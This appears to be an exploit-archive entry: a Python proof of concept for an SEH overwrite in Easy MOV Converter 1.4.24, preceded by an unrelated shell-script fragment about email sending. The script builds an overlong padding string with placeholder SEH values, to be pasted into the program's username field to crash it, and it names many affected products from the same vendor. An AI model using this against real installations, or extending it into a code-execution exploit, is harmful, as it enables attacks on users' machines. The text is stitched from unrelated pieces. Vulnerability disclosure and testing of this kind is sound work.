grep -q "302 Found" /tmp/sheaders
if [ $? -eq 1 ]; then
echo "There was a problem with sending email"
exit 2
fi
# Done
echo -e "\n[*] All done. Exiting"
#!/usr/bin/python
# Exploit Title : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC
# Date : 12/03/2017
# Exploit Author : Muhann4d
# Vendor Homepage : http://www.divxtodvd.net/
# Software Link : http://www.divxtodvd.net/easy_mov_converter.exe
# Tested Version : 1.4.24
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 SP1 32bit
# Proof of Concept : run the exploit, copy the content of poc.txt
# go to the Register button and in the "Enter User Name" field paste the content of poc.txt and press OK.
# The vendor has been cantacted but no reply
# All the vendor's softwares below are affected to this bug which all can be found in http://www.divxtodvd.net/
# Easy DVD Creator
# Easy MPEG/AVI/DIVX/WMV/RM to DVD
# Easy Avi/Divx/Xvid to DVD Burner
# Easy MPEG to DVD Burner
# Easy WMV/ASF/ASX to DVD Burner
# Easy RM RMVB to DVD Burner
# Easy CD DVD Copy
# MP3/AVI/MPEG/WMV/RM to Audio CD Burner
# MP3/WAV/OGG/WMA/AC3 to CD Burner
# MP3 WAV to CD Burner
# My Video Converter
# Easy MOV Converter
# Easy AVI DivX Converter
# Easy Video to iPod Converter
# Easy Video to PSP Converter
# Easy Video to 3GP Converter
# Easy Video to MP4 Converter
# Easy Video to iPod/MP4/PSP/3GP Converter
buffer = "\x41" * 1008
nSEH = "\x42\x42\x42\x42"
SEH = "\x43\x43\x43\x43"
f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH)
f.close()